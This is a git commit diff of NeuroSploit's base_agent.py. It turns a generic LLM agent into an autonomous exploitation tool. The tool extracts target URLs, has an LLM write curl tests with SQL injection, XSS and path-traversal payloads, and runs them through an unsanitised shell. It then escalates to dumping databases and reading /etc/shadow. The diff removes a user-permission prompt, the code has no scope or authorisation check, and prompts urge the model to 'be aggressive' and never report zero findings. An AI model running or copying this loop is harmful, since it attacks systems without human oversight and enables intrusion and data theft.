mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-02-12 14:02:45 +00:00
Add files via upload
This commit is contained in:
Joas A Santos
@@ -1,130 +1,678 @@
|
||||
import json
|
||||
import logging
|
||||
from typing import Dict, Any, List, Optional
|
||||
import re
|
||||
import subprocess
|
||||
import shlex
|
||||
import shutil
|
||||
import urllib.parse
|
||||
import os
|
||||
from typing import Dict, Any, List, Optional, Tuple
|
||||
from datetime import datetime
|
||||
|
||||
from core.llm_manager import LLMManager
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BaseAgent:
|
||||
"""
|
||||
A generic agent class that orchestrates LLM interactions, tool usage,
|
||||
and adheres to specific agent roles (e.g., Red Team, Blue Team).
|
||||
Autonomous AI-Powered Security Agent.
|
||||
|
||||
This agent operates like a real pentester:
|
||||
1. Discovers attack surface dynamically
|
||||
2. Analyzes responses intelligently
|
||||
3. Adapts testing based on findings
|
||||
4. Intensifies when it finds something interesting
|
||||
5. Documents real PoCs
|
||||
"""
|
||||
|
||||
def __init__(self, agent_name: str, config: Dict, llm_manager: LLMManager, context_prompts: Dict):
|
||||
self.agent_name = agent_name
|
||||
self.config = config
|
||||
self.llm_manager = llm_manager
|
||||
self.context_prompts = context_prompts # This will contain user_prompt and system_prompt for this agent role
|
||||
|
||||
self.context_prompts = context_prompts
|
||||
|
||||
self.agent_role_config = self.config.get('agent_roles', {}).get(agent_name, {})
|
||||
self.tools_allowed = self.agent_role_config.get('tools_allowed', [])
|
||||
self.description = self.agent_role_config.get('description', 'No description provided.')
|
||||
|
||||
logger.info(f"Initialized {self.agent_name} agent. Description: {self.description}")
|
||||
self.description = self.agent_role_config.get('description', 'Autonomous Security Tester')
|
||||
|
||||
def _prepare_prompt(self, user_input: str, additional_context: Dict = None) -> str:
|
||||
"""
|
||||
Prepares the user prompt for the LLM, incorporating agent-specific instructions
|
||||
and dynamic context.
|
||||
"""
|
||||
user_prompt_template = self.context_prompts.get("user_prompt", "")
|
||||
if not user_prompt_template:
|
||||
logger.warning(f"No user prompt template found for agent {self.agent_name}.")
|
||||
return user_input # Fallback to raw user input
|
||||
# Attack surface discovered
|
||||
self.discovered_endpoints = []
|
||||
self.discovered_params = []
|
||||
self.discovered_forms = []
|
||||
self.tech_stack = {}
|
||||
|
||||
# Create a dictionary with all the possible placeholders
|
||||
format_dict = {
|
||||
"user_input": user_input,
|
||||
"target_info_json": user_input, # for bug_bounty_hunter
|
||||
"recon_data_json": json.dumps(additional_context or {}, indent=2), # for bug_bounty_hunter
|
||||
"additional_context_json": json.dumps(additional_context or {}, indent=2),
|
||||
"mission_objectives_json": json.dumps(additional_context or {}, indent=2) # for red_team_agent
|
||||
# Findings
|
||||
self.vulnerabilities = []
|
||||
self.interesting_findings = []
|
||||
self.tool_history = []
|
||||
|
||||
logger.info(f"Initialized {self.agent_name} - Autonomous Agent")
|
||||
|
||||
def _extract_targets(self, user_input: str) -> List[str]:
|
||||
"""Extract target URLs from input."""
|
||||
targets = []
|
||||
|
||||
if os.path.isfile(user_input.strip()):
|
||||
with open(user_input.strip(), 'r') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if line and not line.startswith('#'):
|
||||
targets.append(self._normalize_url(line))
|
||||
return targets
|
||||
|
||||
url_pattern = r'https?://[^\s<>"{}|\\^`\[\]]+'
|
||||
urls = re.findall(url_pattern, user_input)
|
||||
if urls:
|
||||
return [self._normalize_url(u) for u in urls]
|
||||
|
||||
domain_pattern = r'\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}\b'
|
||||
domains = re.findall(domain_pattern, user_input)
|
||||
if domains:
|
||||
return [f"http://{d}" for d in domains]
|
||||
|
||||
return []
|
||||
|
||||
def _normalize_url(self, url: str) -> str:
|
||||
url = url.strip()
|
||||
if not url.startswith(('http://', 'https://')):
|
||||
url = f"http://{url}"
|
||||
return url
|
||||
|
||||
def _get_domain(self, url: str) -> str:
|
||||
parsed = urllib.parse.urlparse(url)
|
||||
return parsed.netloc or parsed.path.split('/')[0]
|
||||
|
||||
def run_command(self, tool: str, args: str, timeout: int = 60) -> Dict:
|
||||
"""Execute command and capture output."""
|
||||
result = {
|
||||
"tool": tool,
|
||||
"args": args,
|
||||
"command": "",
|
||||
"success": False,
|
||||
"output": "",
|
||||
"timestamp": datetime.now().isoformat()
|
||||
}
|
||||
|
||||
if additional_context:
|
||||
for key, value in additional_context.items():
|
||||
if isinstance(value, (dict, list)):
|
||||
format_dict[f"{key}_json"] = json.dumps(value, indent=2)
|
||||
else:
|
||||
format_dict[key] = value
|
||||
tool_path = self.config.get('tools', {}).get(tool) or shutil.which(tool)
|
||||
|
||||
# Use a safe way to format, handling missing keys gracefully
|
||||
class SafeDict(dict):
|
||||
def __missing__(self, key):
|
||||
return f"{{{key}}}" # Return the placeholder as-is for missing keys
|
||||
|
||||
formatted_prompt = user_prompt_template.format_map(SafeDict(format_dict))
|
||||
|
||||
return formatted_prompt
|
||||
if not tool_path:
|
||||
result["output"] = f"[!] Tool '{tool}' not found - using alternative"
|
||||
logger.warning(f"Tool not found: {tool}")
|
||||
self.tool_history.append(result)
|
||||
return result
|
||||
|
||||
try:
|
||||
if tool == "curl":
|
||||
cmd = f"{tool_path} {args}"
|
||||
else:
|
||||
cmd = f"{tool_path} {args}"
|
||||
|
||||
result["command"] = cmd
|
||||
print(f" [>] {tool}: {args[:80]}{'...' if len(args) > 80 else ''}")
|
||||
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
shell=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout
|
||||
)
|
||||
|
||||
output = proc.stdout or proc.stderr
|
||||
result["output"] = output[:8000] if output else "[No output]"
|
||||
result["success"] = proc.returncode == 0
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
result["output"] = f"[!] Timeout after {timeout}s"
|
||||
except Exception as e:
|
||||
result["output"] = f"[!] Error: {str(e)}"
|
||||
|
||||
self.tool_history.append(result)
|
||||
return result
|
||||
|
||||
def execute(self, user_input: str, campaign_data: Dict = None) -> Dict:
|
||||
"""Execute autonomous security assessment."""
|
||||
targets = self._extract_targets(user_input)
|
||||
|
||||
if not targets:
|
||||
return {
|
||||
"error": "No targets found",
|
||||
"llm_response": "Please provide a URL, domain, IP, or file with targets."
|
||||
}
|
||||
|
||||
print(f"\n{'='*70}")
|
||||
print(f" NEUROSPLOIT AUTONOMOUS AGENT - {self.agent_name.upper()}")
|
||||
print(f"{'='*70}")
|
||||
print(f" Mode: Adaptive AI-Driven Testing")
|
||||
print(f" Targets: {len(targets)}")
|
||||
print(f"{'='*70}\n")
|
||||
|
||||
all_findings = []
|
||||
|
||||
for idx, target in enumerate(targets, 1):
|
||||
if len(targets) > 1:
|
||||
print(f"\n[TARGET {idx}/{len(targets)}] {target}")
|
||||
print("=" * 60)
|
||||
|
||||
self.tool_history = []
|
||||
self.vulnerabilities = []
|
||||
self.discovered_endpoints = []
|
||||
|
||||
findings = self._autonomous_assessment(target)
|
||||
all_findings.extend(findings)
|
||||
|
||||
final_report = self._generate_final_report(targets, all_findings)
|
||||
|
||||
return {
|
||||
"agent_name": self.agent_name,
|
||||
"input": user_input,
|
||||
"targets": targets,
|
||||
"targets_count": len(targets),
|
||||
"tools_executed": len(self.tool_history),
|
||||
"vulnerabilities_found": len(self.vulnerabilities),
|
||||
"findings": all_findings,
|
||||
"llm_response": final_report,
|
||||
"scan_data": {
|
||||
"targets": targets,
|
||||
"tools_executed": len(self.tool_history),
|
||||
"endpoints_discovered": len(self.discovered_endpoints)
|
||||
}
|
||||
}
|
||||
|
||||
def _autonomous_assessment(self, target: str) -> List[Dict]:
|
||||
"""
|
||||
Executes the agent's task using the LLM and potentially external tools.
|
||||
`campaign_data` can be used to pass ongoing results or context between agent executions.
|
||||
Autonomous assessment with AI-driven adaptation.
|
||||
The AI analyzes each response and decides next steps.
|
||||
"""
|
||||
logger.info(f"Executing {self.agent_name} agent for input: {user_input[:50]}...")
|
||||
|
||||
system_prompt = self.context_prompts.get("system_prompt", "")
|
||||
if not system_prompt:
|
||||
logger.warning(f"No system prompt found for agent {self.agent_name}. Using generic system prompt.")
|
||||
system_prompt = f"You are an expert {self.agent_name}. Analyze the provided information and generate a response."
|
||||
|
||||
# Prepare the user prompt with current input and campaign data
|
||||
prepared_user_prompt = self._prepare_prompt(user_input, campaign_data)
|
||||
# Phase 1: Initial Reconnaissance & Discovery
|
||||
print(f"\n[PHASE 1] Autonomous Discovery - {target}")
|
||||
print("-" * 50)
|
||||
|
||||
# Loop for tool usage
|
||||
for _ in range(5): # Limit to 5 iterations to prevent infinite loops
|
||||
llm_response_text = self.llm_manager.generate(prepared_user_prompt, system_prompt)
|
||||
|
||||
tool_name, tool_args = self._parse_llm_response(llm_response_text)
|
||||
discovery_data = self._discover_attack_surface(target)
|
||||
|
||||
if tool_name:
|
||||
if tool_name in self.config.get('tools', {}):
|
||||
tool_path = self.config['tools'][tool_name]
|
||||
tool_output = self._execute_tool(tool_path, tool_args)
|
||||
prepared_user_prompt += f"\n\n[TOOL_OUTPUT]\n{tool_output}"
|
||||
else:
|
||||
if self._ask_for_permission(f"Tool '{tool_name}' not found. Do you want to try to download it?"):
|
||||
self.download_tool(tool_name)
|
||||
# We don't execute the tool in this iteration, but the LLM can try again in the next one
|
||||
prepared_user_prompt += f"\n\n[TOOL_DOWNLOAD] Tool '{tool_name}' downloaded."
|
||||
else:
|
||||
prepared_user_prompt += f"\n\n[TOOL_ERROR] Tool '{tool_name}' not found and permission to download was denied."
|
||||
# Phase 2: AI Analysis of Attack Surface
|
||||
print(f"\n[PHASE 2] AI Attack Surface Analysis")
|
||||
print("-" * 50)
|
||||
|
||||
attack_plan = self._ai_analyze_attack_surface(target, discovery_data)
|
||||
|
||||
# Phase 3: Adaptive Exploitation Loop
|
||||
print(f"\n[PHASE 3] Adaptive Exploitation")
|
||||
print("-" * 50)
|
||||
|
||||
self._adaptive_exploitation_loop(target, attack_plan)
|
||||
|
||||
# Phase 4: Deep Dive on Findings
|
||||
print(f"\n[PHASE 4] Deep Exploitation of Findings")
|
||||
print("-" * 50)
|
||||
|
||||
self._deep_exploitation(target)
|
||||
|
||||
return self.tool_history
|
||||
|
||||
def _discover_attack_surface(self, target: str) -> Dict:
|
||||
"""Dynamically discover all attack vectors."""
|
||||
|
||||
discovery = {
|
||||
"base_response": "",
|
||||
"headers": {},
|
||||
"endpoints": [],
|
||||
"params": [],
|
||||
"forms": [],
|
||||
"tech_hints": [],
|
||||
"interesting_files": []
|
||||
}
|
||||
|
||||
# Get base response
|
||||
result = self.run_command("curl", f'-s -k -L -D - "{target}"')
|
||||
discovery["base_response"] = result.get("output", "")
|
||||
|
||||
# Extract headers
|
||||
headers_match = re.findall(r'^([A-Za-z-]+):\s*(.+)$', discovery["base_response"], re.MULTILINE)
|
||||
discovery["headers"] = dict(headers_match)
|
||||
|
||||
# Get HTML and extract links
|
||||
html_result = self.run_command("curl", f'-s -k "{target}"')
|
||||
html = html_result.get("output", "")
|
||||
|
||||
# Extract all links
|
||||
links = re.findall(r'(?:href|src|action)=["\']([^"\']+)["\']', html, re.IGNORECASE)
|
||||
for link in links:
|
||||
if not link.startswith(('http://', 'https://', '//', '#', 'javascript:', 'mailto:')):
|
||||
full_url = urllib.parse.urljoin(target, link)
|
||||
if full_url not in discovery["endpoints"]:
|
||||
discovery["endpoints"].append(full_url)
|
||||
elif link.startswith('/'):
|
||||
full_url = urllib.parse.urljoin(target, link)
|
||||
if full_url not in discovery["endpoints"]:
|
||||
discovery["endpoints"].append(full_url)
|
||||
|
||||
# Extract forms and inputs
|
||||
forms = re.findall(r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>(.*?)</form>', html, re.IGNORECASE | re.DOTALL)
|
||||
for action, form_content in forms:
|
||||
inputs = re.findall(r'<input[^>]*name=["\']([^"\']+)["\']', form_content, re.IGNORECASE)
|
||||
discovery["forms"].append({
|
||||
"action": urllib.parse.urljoin(target, action) if action else target,
|
||||
"inputs": inputs
|
||||
})
|
||||
|
||||
# Extract URL parameters from links
|
||||
for endpoint in discovery["endpoints"]:
|
||||
parsed = urllib.parse.urlparse(endpoint)
|
||||
params = urllib.parse.parse_qs(parsed.query)
|
||||
for param in params.keys():
|
||||
if param not in discovery["params"]:
|
||||
discovery["params"].append(param)
|
||||
|
||||
# Check common files
|
||||
common_files = [
|
||||
"robots.txt", "sitemap.xml", ".htaccess", "crossdomain.xml",
|
||||
"phpinfo.php", "info.php", "test.php", "admin/", "login.php",
|
||||
"wp-config.php.bak", ".git/config", ".env", "config.php.bak"
|
||||
]
|
||||
|
||||
for file in common_files[:8]:
|
||||
result = self.run_command("curl", f'-s -k -o /dev/null -w "%{{http_code}}" "{target}/{file}"')
|
||||
if result.get("output", "").strip() in ["200", "301", "302", "403"]:
|
||||
discovery["interesting_files"].append(f"{target}/{file}")
|
||||
|
||||
# Detect technologies
|
||||
tech_patterns = {
|
||||
"PHP": [r'\.php', r'PHPSESSID', r'X-Powered-By:.*PHP'],
|
||||
"ASP.NET": [r'\.aspx?', r'ASP\.NET', r'__VIEWSTATE'],
|
||||
"Java": [r'\.jsp', r'JSESSIONID', r'\.do\b'],
|
||||
"Python": [r'Django', r'Flask', r'\.py'],
|
||||
"WordPress": [r'wp-content', r'wp-includes'],
|
||||
"MySQL": [r'mysql', r'MariaDB'],
|
||||
}
|
||||
|
||||
full_response = discovery["base_response"] + html
|
||||
for tech, patterns in tech_patterns.items():
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, full_response, re.IGNORECASE):
|
||||
if tech not in discovery["tech_hints"]:
|
||||
discovery["tech_hints"].append(tech)
|
||||
|
||||
self.discovered_endpoints = discovery["endpoints"]
|
||||
|
||||
print(f" [+] Discovered {len(discovery['endpoints'])} endpoints")
|
||||
print(f" [+] Found {len(discovery['params'])} parameters")
|
||||
print(f" [+] Found {len(discovery['forms'])} forms")
|
||||
print(f" [+] Tech hints: {', '.join(discovery['tech_hints']) or 'Unknown'}")
|
||||
|
||||
return discovery
|
||||
|
||||
def _ai_analyze_attack_surface(self, target: str, discovery: Dict) -> str:
|
||||
"""AI analyzes discovered surface and creates attack plan."""
|
||||
|
||||
analysis_prompt = f"""You are an elite penetration tester analyzing an attack surface.
|
||||
|
||||
TARGET: {target}
|
||||
|
||||
=== DISCOVERED ATTACK SURFACE ===
|
||||
|
||||
**Endpoints Found ({len(discovery['endpoints'])}):**
|
||||
{chr(10).join(discovery['endpoints'][:20])}
|
||||
|
||||
**Parameters Found:**
|
||||
{', '.join(discovery['params'][:20])}
|
||||
|
||||
**Forms Found:**
|
||||
{json.dumps(discovery['forms'][:10], indent=2)}
|
||||
|
||||
**Technologies Detected:**
|
||||
{', '.join(discovery['tech_hints'])}
|
||||
|
||||
**Interesting Files:**
|
||||
{chr(10).join(discovery['interesting_files'])}
|
||||
|
||||
**Response Headers:**
|
||||
{json.dumps(dict(list(discovery['headers'].items())[:10]), indent=2)}
|
||||
|
||||
=== YOUR TASK ===
|
||||
|
||||
Analyze this attack surface and output SPECIFIC tests to run.
|
||||
For each test, output in this EXACT format:
|
||||
|
||||
[TEST] curl -s -k "[URL_WITH_PAYLOAD]"
|
||||
[TEST] curl -s -k "[URL]" -d "param=payload"
|
||||
|
||||
Focus on:
|
||||
1. SQL Injection - test EVERY parameter with: ' " 1 OR 1=1 UNION SELECT
|
||||
2. XSS - test inputs with: <script>alert(1)</script> <img src=x onerror=alert(1)>
|
||||
3. LFI - test file params with: ../../etc/passwd php://filter
|
||||
4. Auth bypass - test login forms with SQLi
|
||||
5. IDOR - test ID params with different values
|
||||
|
||||
Output at least 20 specific [TEST] commands targeting the discovered endpoints and parameters.
|
||||
Be creative. Think like a hacker. Test edge cases."""
|
||||
|
||||
system = """You are an offensive security expert. Output specific curl commands to test vulnerabilities.
|
||||
Each command must be prefixed with [TEST] and be a complete, executable curl command.
|
||||
Target the actual endpoints and parameters discovered. Be aggressive."""
|
||||
|
||||
response = self.llm_manager.generate(analysis_prompt, system)
|
||||
|
||||
# Extract and run the tests
|
||||
tests = re.findall(r'\[TEST\]\s*(.+?)(?=\[TEST\]|\Z)', response, re.DOTALL)
|
||||
|
||||
print(f" [+] AI generated {len(tests)} targeted tests")
|
||||
|
||||
for test in tests[:25]:
|
||||
test = test.strip()
|
||||
if test.startswith('curl'):
|
||||
# Extract just the curl command
|
||||
cmd_match = re.match(r'(curl\s+.+?)(?:\n|$)', test)
|
||||
if cmd_match:
|
||||
cmd = cmd_match.group(1).strip()
|
||||
# Remove the 'curl' part and run
|
||||
args = cmd[4:].strip()
|
||||
self.run_command("curl", args)
|
||||
|
||||
return response
|
||||
|
||||
def _adaptive_exploitation_loop(self, target: str, attack_plan: str):
|
||||
"""
|
||||
AI-driven exploitation loop.
|
||||
The AI analyzes results and decides what to test next.
|
||||
"""
|
||||
|
||||
for iteration in range(10):
|
||||
print(f"\n [*] AI Exploitation Iteration {iteration + 1}")
|
||||
|
||||
# Build context from recent results
|
||||
recent_results = self.tool_history[-15:] if len(self.tool_history) > 15 else self.tool_history
|
||||
|
||||
context = "=== RECENT TEST RESULTS ===\n\n"
|
||||
for cmd in recent_results:
|
||||
output = cmd.get('output', '')[:2000]
|
||||
context += f"Command: {cmd.get('command', '')[:200]}\n"
|
||||
context += f"Output: {output}\n\n"
|
||||
|
||||
exploitation_prompt = f"""You are actively exploiting {target}.
|
||||
|
||||
{context}
|
||||
|
||||
=== ANALYZE AND DECIDE NEXT STEPS ===
|
||||
|
||||
Look at the results above. Identify:
|
||||
1. SQL errors (mysql_fetch, syntax error, ODBC, etc.) = SQLi CONFIRMED - exploit further!
|
||||
2. XSS reflection (your payload appears in output) = XSS CONFIRMED - try variations!
|
||||
3. File contents (root:x:0, [boot loader], etc.) = LFI CONFIRMED - read more files!
|
||||
4. Authentication bypassed = Document and explore!
|
||||
5. Error messages revealing info = Use for further attacks!
|
||||
|
||||
If you found something interesting, DIG DEEPER with variations.
|
||||
If a test returned errors, try different payloads.
|
||||
|
||||
Output your next tests as:
|
||||
[EXEC] curl: [arguments]
|
||||
|
||||
Or if you've thoroughly tested and found enough, respond with [DONE]
|
||||
|
||||
Be aggressive. Vary payloads. Test edge cases. Chain vulnerabilities."""
|
||||
|
||||
system = """You are an elite hacker in the middle of exploiting a target.
|
||||
Analyze results, identify vulnerabilities, and output next commands.
|
||||
Format: [EXEC] tool: arguments
|
||||
When done, say [DONE]"""
|
||||
|
||||
response = self.llm_manager.generate(exploitation_prompt, system)
|
||||
|
||||
if "[DONE]" in response:
|
||||
print(" [*] AI completed exploitation phase")
|
||||
break
|
||||
|
||||
# Parse and execute commands
|
||||
commands = self._parse_ai_commands(response)
|
||||
|
||||
if not commands:
|
||||
print(" [*] No more commands, moving to next phase")
|
||||
break
|
||||
|
||||
print(f" [*] AI requested {len(commands)} tests")
|
||||
|
||||
for tool, args in commands[:10]:
|
||||
result = self.run_command(tool, args, timeout=60)
|
||||
|
||||
# Check for vulnerability indicators in response
|
||||
self._check_vuln_indicators(result)
|
||||
|
||||
def _check_vuln_indicators(self, result: Dict):
|
||||
"""Check command output for vulnerability indicators."""
|
||||
|
||||
output = result.get("output", "").lower()
|
||||
cmd = result.get("command", "")
|
||||
|
||||
vuln_patterns = {
|
||||
"SQL Injection": [
|
||||
r"mysql.*error", r"syntax.*error.*sql", r"odbc.*driver",
|
||||
r"postgresql.*error", r"ora-\d{5}", r"microsoft.*sql.*server",
|
||||
r"you have an error in your sql", r"mysql_fetch", r"unclosed quotation"
|
||||
],
|
||||
"XSS": [
|
||||
r"<script>alert", r"onerror=alert", r"<svg.*onload",
|
||||
r"javascript:alert", r"<img.*onerror"
|
||||
],
|
||||
"LFI": [
|
||||
r"root:x:0:0", r"\[boot loader\]", r"localhost.*hosts",
|
||||
r"<?php", r"#!/bin/bash", r"#!/usr/bin/env"
|
||||
],
|
||||
"Information Disclosure": [
|
||||
r"phpinfo\(\)", r"server.*version", r"x-powered-by",
|
||||
r"stack.*trace", r"exception.*in", r"debug.*mode"
|
||||
]
|
||||
}
|
||||
|
||||
for vuln_type, patterns in vuln_patterns.items():
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, output, re.IGNORECASE):
|
||||
finding = {
|
||||
"type": vuln_type,
|
||||
"command": cmd,
|
||||
"evidence": output[:500],
|
||||
"timestamp": datetime.now().isoformat()
|
||||
}
|
||||
if finding not in self.vulnerabilities:
|
||||
self.vulnerabilities.append(finding)
|
||||
print(f" [!] FOUND: {vuln_type}")
|
||||
|
||||
def _deep_exploitation(self, target: str):
|
||||
"""Deep dive into confirmed vulnerabilities."""
|
||||
|
||||
if not self.vulnerabilities:
|
||||
print(" [*] No confirmed vulns to deep exploit, running additional tests...")
|
||||
|
||||
# Run additional aggressive tests
|
||||
additional_tests = [
|
||||
f'-s -k "{target}/listproducts.php?cat=1\'"',
|
||||
f'-s -k "{target}/artists.php?artist=1 UNION SELECT 1,2,3,4,5,6--"',
|
||||
f'-s -k "{target}/search.php?test=<script>alert(document.domain)</script>"',
|
||||
f'-s -k "{target}/showimage.php?file=....//....//....//etc/passwd"',
|
||||
f'-s -k "{target}/AJAX/infoartist.php?id=1\' OR \'1\'=\'1"',
|
||||
f'-s -k "{target}/hpp/?pp=12"',
|
||||
f'-s -k "{target}/comment.php" -d "name=test&text=<script>alert(1)</script>"',
|
||||
]
|
||||
|
||||
for args in additional_tests:
|
||||
result = self.run_command("curl", args)
|
||||
self._check_vuln_indicators(result)
|
||||
|
||||
# For each confirmed vulnerability, try to exploit further
|
||||
for vuln in self.vulnerabilities[:5]:
|
||||
print(f"\n [*] Deep exploiting: {vuln['type']}")
|
||||
|
||||
deep_prompt = f"""A {vuln['type']} vulnerability was confirmed.
|
||||
|
||||
Command that found it: {vuln['command']}
|
||||
Evidence: {vuln['evidence'][:1000]}
|
||||
|
||||
Generate 5 commands to exploit this further:
|
||||
- For SQLi: Try to extract database names, tables, dump data
|
||||
- For XSS: Try different payloads, DOM XSS, stored XSS
|
||||
- For LFI: Read sensitive files like /etc/shadow, config files, source code
|
||||
|
||||
Output as:
|
||||
[EXEC] curl: [arguments]"""
|
||||
|
||||
system = "You are exploiting a confirmed vulnerability. Go deeper."
|
||||
|
||||
response = self.llm_manager.generate(deep_prompt, system)
|
||||
commands = self._parse_ai_commands(response)
|
||||
|
||||
for tool, args in commands[:5]:
|
||||
self.run_command(tool, args, timeout=90)
|
||||
|
||||
def _parse_ai_commands(self, response: str) -> List[Tuple[str, str]]:
|
||||
"""Parse AI commands from response."""
|
||||
commands = []
|
||||
|
||||
patterns = [
|
||||
r'\[EXEC\]\s*(\w+):\s*(.+?)(?=\[EXEC\]|\[DONE\]|\Z)',
|
||||
r'\[TEST\]\s*(curl)\s+(.+?)(?=\[TEST\]|\[DONE\]|\Z)',
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
matches = re.findall(pattern, response, re.DOTALL | re.IGNORECASE)
|
||||
for match in matches:
|
||||
tool = match[0].strip().lower()
|
||||
args = match[1].strip().split('\n')[0]
|
||||
args = re.sub(r'[`"\']$', '', args)
|
||||
|
||||
if tool in ['curl', 'nmap', 'sqlmap', 'nikto', 'nuclei', 'ffuf', 'gobuster', 'whatweb']:
|
||||
commands.append((tool, args))
|
||||
|
||||
return commands
|
||||
|
||||
def _generate_final_report(self, targets: List[str], findings: List[Dict]) -> str:
|
||||
"""Generate comprehensive penetration test report."""
|
||||
|
||||
# Build detailed context
|
||||
context = "=== COMPLETE TEST RESULTS ===\n\n"
|
||||
|
||||
# Group by potential vulnerability type
|
||||
sqli_results = []
|
||||
xss_results = []
|
||||
lfi_results = []
|
||||
other_results = []
|
||||
|
||||
for cmd in findings:
|
||||
output = cmd.get('output', '')
|
||||
command = cmd.get('command', '')
|
||||
|
||||
if any(x in command.lower() for x in ["'", "or 1=1", "union", "select"]):
|
||||
sqli_results.append(cmd)
|
||||
elif any(x in command.lower() for x in ["script", "alert", "onerror", "xss"]):
|
||||
xss_results.append(cmd)
|
||||
elif any(x in command.lower() for x in ["../", "etc/passwd", "php://filter"]):
|
||||
lfi_results.append(cmd)
|
||||
else:
|
||||
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text}
|
||||
other_results.append(cmd)
|
||||
|
||||
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text}
|
||||
context += "--- SQL INJECTION TESTS ---\n"
|
||||
for cmd in sqli_results[:10]:
|
||||
context += f"CMD: {cmd.get('command', '')[:150]}\n"
|
||||
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
|
||||
|
||||
def _parse_llm_response(self, response: str) -> (Optional[str], Optional[str]):
|
||||
"""Parses the LLM response to find a tool to use."""
|
||||
match = re.search(r"\[TOOL\]\s*(\w+)\s*:\s*(.*)", response)
|
||||
if match:
|
||||
return match.group(1), match.group(2)
|
||||
return None, None
|
||||
context += "\n--- XSS TESTS ---\n"
|
||||
for cmd in xss_results[:10]:
|
||||
context += f"CMD: {cmd.get('command', '')[:150]}\n"
|
||||
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
|
||||
|
||||
def _execute_tool(self, tool_path: str, args: str) -> str:
|
||||
"""Executes a tool and returns the output."""
|
||||
try:
|
||||
result = subprocess.run(f"{tool_path} {args}", shell=True, capture_output=True, text=True)
|
||||
return result.stdout + result.stderr
|
||||
except Exception as e:
|
||||
return f"Error executing tool: {e}"
|
||||
context += "\n--- LFI TESTS ---\n"
|
||||
for cmd in lfi_results[:10]:
|
||||
context += f"CMD: {cmd.get('command', '')[:150]}\n"
|
||||
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
|
||||
|
||||
def _ask_for_permission(self, message: str) -> bool:
|
||||
"""Asks the user for permission."""
|
||||
response = input(f"{message} (y/n): ").lower()
|
||||
return response == 'y'
|
||||
context += "\n--- OTHER TESTS ---\n"
|
||||
for cmd in other_results[:15]:
|
||||
if cmd.get('output'):
|
||||
context += f"CMD: {cmd.get('command', '')[:150]}\n"
|
||||
context += f"OUT: {cmd.get('output', '')[:500]}\n\n"
|
||||
|
||||
def download_tool(self, tool_name: str):
|
||||
"""Downloads a tool."""
|
||||
# This is a placeholder for a more sophisticated tool download mechanism.
|
||||
# For now, we'll just log the request.
|
||||
logger.info(f"User requested to download tool: {tool_name}")
|
||||
print(f"Downloading tool '{tool_name}'... (This is a placeholder, no actual download will be performed)")
|
||||
report_prompt = f"""Generate a PROFESSIONAL penetration test report from these REAL scan results.
|
||||
|
||||
TARGET: {', '.join(targets)}
|
||||
|
||||
{context}
|
||||
|
||||
=== CONFIRMED VULNERABILITIES DETECTED ===
|
||||
{json.dumps(self.vulnerabilities, indent=2) if self.vulnerabilities else "Analyze the outputs above to find vulnerabilities!"}
|
||||
|
||||
=== REPORT FORMAT (FOLLOW EXACTLY) ===
|
||||
|
||||
# Executive Summary
|
||||
[2-3 sentences: what was tested, critical findings, risk level]
|
||||
|
||||
# Vulnerabilities Found
|
||||
|
||||
For EACH vulnerability (analyze the scan outputs!):
|
||||
|
||||
---
|
||||
## [CRITICAL/HIGH/MEDIUM/LOW] Vulnerability Name
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Severity | Critical/High/Medium/Low |
|
||||
| CVSS | Score |
|
||||
| CWE | CWE-XX |
|
||||
| Location | Exact URL |
|
||||
|
||||
### Description
|
||||
What this vulnerability is and why it's dangerous.
|
||||
|
||||
### Proof of Concept
|
||||
|
||||
**Request:**
|
||||
```bash
|
||||
curl "[exact command from scan results]"
|
||||
```
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
[exact payload that triggered the vulnerability]
|
||||
```
|
||||
|
||||
**Response Evidence:**
|
||||
```
|
||||
[paste the ACTUAL response showing the vulnerability - SQL error message, XSS reflection, file contents, etc.]
|
||||
```
|
||||
|
||||
### Impact
|
||||
What an attacker can do with this vulnerability.
|
||||
|
||||
### Remediation
|
||||
How to fix it.
|
||||
|
||||
---
|
||||
|
||||
# Summary
|
||||
|
||||
| # | Vulnerability | Severity | URL |
|
||||
|---|--------------|----------|-----|
|
||||
[table of all findings]
|
||||
|
||||
# Recommendations
|
||||
[Priority-ordered remediation steps]
|
||||
|
||||
---
|
||||
|
||||
CRITICAL:
|
||||
- LOOK at the actual outputs in the scan results
|
||||
- If you see SQL errors like "mysql", "syntax error" = SQL INJECTION
|
||||
- If you see your script tags reflected = XSS
|
||||
- If you see file contents like "root:x:0:0" = LFI
|
||||
- INCLUDE the actual evidence from the scans
|
||||
- testphp.vulnweb.com HAS known vulnerabilities - find them in the results!"""
|
||||
|
||||
system = """You are a senior penetration tester writing a professional report.
|
||||
Analyze the ACTUAL scan results provided and document REAL vulnerabilities found.
|
||||
Include working PoCs with exact commands and evidence from the outputs.
|
||||
Do NOT say "no vulnerabilities" if there is evidence of vulnerabilities in the scan data."""
|
||||
|
||||
return self.llm_manager.generate(report_prompt, system)
|
||||
|
||||
def get_allowed_tools(self) -> List[str]:
|
||||
"""Returns the list of tools allowed for this agent role."""
|
||||
return self.tools_allowed
|
||||
|
||||
Reference in New Issue
Block a user